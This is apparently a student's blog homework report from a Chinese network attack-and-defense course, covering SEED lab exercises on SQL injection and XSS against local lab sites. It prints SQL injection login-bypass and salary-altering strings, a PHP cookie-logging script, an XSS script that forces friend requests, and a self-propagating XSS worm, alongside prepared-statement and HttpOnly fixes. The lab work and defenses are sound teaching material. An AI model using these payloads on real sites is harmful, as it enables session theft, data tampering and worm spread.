20199312 2019-2020-2 《网络攻防实践》第11周作业

《网络攻防实践》第11周作业

总体结构

这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737
我在这个课程的目标是 学习网络攻防知识,增强动手实践能力。
这个作业在哪个具体方面帮助我实现目标 学习Linux网络防御知识。
作业正文 见下
参考文献 [1].网络攻防实践-诸葛建伟
[2].信息系统安全与对抗实践

1.实践内容

1.1 web应用的威胁

  • 针对浏览器和终端用户和web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马、网站钓鱼。
  • 针对传输网络的网络协议安全威胁。HTTP铭文传输的信息监听。网络层、传输层、应用层都存在的假冒身份攻击,以及拒绝服务攻击
  • web服务器软件安全威胁。IIS、Apache、Nginx等
  • web服务器系统安全。Windows、Linux
  • web数据安全威胁。对后台存储的关键数据进行入侵

1.2 SQL注入攻击

代码注入关键:利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。

  • 恶意读取、修改与操纵数据库的SQL注入攻击
  • 在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击
  • 在Web服务器端恶意执行操作系统命令的shell注入攻击。

1.2.1 SQL注入攻击原理

利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。

1.2.2 SQL注入攻击工具

啊D、明小子、sqlmap

1.2.3 SQL注入攻击防范措施:

  • 使用类型安全(type-safe)的参数编码机制,禁止将变量直接写入到SQL语句,必须通过设置参数来传递变量。
  • 完备检查来自外部的用户输入。对于单引号、双引号、冒号等字符进行转换或者过滤,确保数据输入的安全性。
  • 客户端和系统端进行多层次验证防护。
  • 数据库信息加密。

1.3 XSS跨站脚本攻击

1.3.1 XSS的定义

XSS(Cross Site Scripting):跨站脚本攻击,它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户浏览器的控制。

1.3.2 XSS的危害

  • 盗取各类用户账户,如机器登录账号、用户网银账号、各类管理员账号。
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。
  • 盗窃企业重要的具有商业价值的资料。
  • 非法转账。
  • 强制发送电子邮件。
  • 控制受害者机器向其他网站发起攻击。

1.3.3XSS攻击防范措施

  • 服务器端防范措施:“限制、拒绝、净化”
  • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
  • 输出净化: HTMLEncode()方法。
  • 消除危险的输入点。
  • 客户端防范措施
  • 提高浏览器访问非受信网站时的安全等级。
  • 关闭Cookie功能,或设置Cookie只读。
  • 建立安全意识和浏览习惯。

2.实践过程

2.1sql注入

2.1.1实验过程

之前做完死机没保存了-- 步骤较为简略
admin'#进行登录#终止语句

使用命令行登陆curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23'需要使用16进制代替字符%27为# %23为'
修改信息,可以发现我的信息已经修改过了

首先是admin账户lichen', salary='999999';#将所有用户工资都修改成了99999,后将Alice的工资修改为0,后来进入了Alice的账户发现自己的工资是0了十分生气,认为是Boby修改的自己工资,Alice就又把自己的工资修改为99999,采用社会工程学获取Boby的生日后修改Boby工资为0,值得注意的是,修改Boby工资的时候采用生日作为标识。操作过程可以在下图的输入记录中查看。

2.1.2漏洞修补

绑定参数bind_param,以及防SQL注入

if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
    $sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
    $sql->execute();
    $sql->close();
  }

XSS

任务一:XSS初步

登录以上所给的任一用户,比如这里登录 boby 这个账户,在个人资料页面编辑profile信息,写入恶意javascript代码。
nice to meet you!<script>alert('This is lichen');</script>

发现存在XSS漏洞

alert一下cookiealert(document.cookie)

任务二:获取其他用户的Cookie

1.在网站目录下面创建一个hack.php的文件:
sudo vim /var/www/XSS/elgg/hack.php
hack.php代码如下:

<?php
$cookie = $_GET["c"];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie ."\n");
fclose($log);
?>


2.在编辑profiles页面插入以下js代码,保存后访问用户资料页面。

3.查看cookie.txt文件,cookie如图所示.

任务三:使用获取的Cookie进行会话劫持实现添加好友

1.安装live http headers 工具

2.添加好友并同时观察HTTP Header Live数据。如图

http://www.xsslabelgg.com/action/friends/add?friend=46&__elgg_ts=1589202014&__elgg_token=P2vNF5w_rWgT4N8W2yOk0w
46为用户代号

<script type="text/javascript">
	window.onload = function () {
        var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token; 
	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45"+ts+token;//45为boby 的id
	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  Ajax.send();
} 
</script>

3.修改个人信息,需要以html形式

攻击成功

删除好友,后自动添加

任务四:XSS蠕虫+修改他人信息+添加好友结合

蠕虫代码

<script id="worm" type ="text/javascript">
	var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
  var jsCode = document.getElementById("worm").innerHTML;
  var tailTag = "</" + "script>";
	var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);//encodeURIComponent() 函数可把字符串作为 URI 组件进行编码。
	alert(jsCode);
</script>

该代码的作用就是获取本身的代码,至于获取后如何用见下文
蠕虫+修改信息功能+添加好友

<p>this page had been changed by xss attack <script id='worm' type='text/javascript'>
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;
                
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + " &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
		alert(content);
		var bobyGuid=45;
        if(elgg.session.user.guid!=bobyGuid){
        	var Ajax=null;
	    	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
			var token="&__elgg_token="+elgg.security.token.__elgg_token; 
			var sendurl2="http://www.xsslabelgg.com/action/friends/add?friend="+bobyGuid+ts+token;
                        //添加好友
			Ajax=new XMLHttpRequest();
			Ajax.open("GET",sendurl2,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
  			Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
  			Ajax.send();  
  			//修改信息  
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);}
	}
</script></p>

入侵成功

任务五:防范方法

JavaScript无法访问带有HttpOnly属性的Cookie。

header("Set-Cookie: cookie='';httponly", false);

3.学习中遇到的问题及解决

  • 问题1:心态崩了,没保存电脑蓝屏了
  • 问题1解决方案:XXXXXX
  • 问题2:重新说一下没保存的那个问题,seedUbuntu浏览器显示的网页不完整,没有上面的导航栏,重启也没有作用
  • 问题2解决方案:采用主机访问该网站,需要在host中设置一下192.168.200.12 www.seedlabsqlinjection.com。 然后主机就可以访问虚拟机的网站了。奇怪的是电脑死机一次后进入seedUbuntu浏览网页又可以完整显示了!

4.实践总结

web漏洞十分有趣 !

posted @ 2020-05-13 14:50  刚刚吃饭来着呢  阅读(277)  评论(0编辑  收藏  举报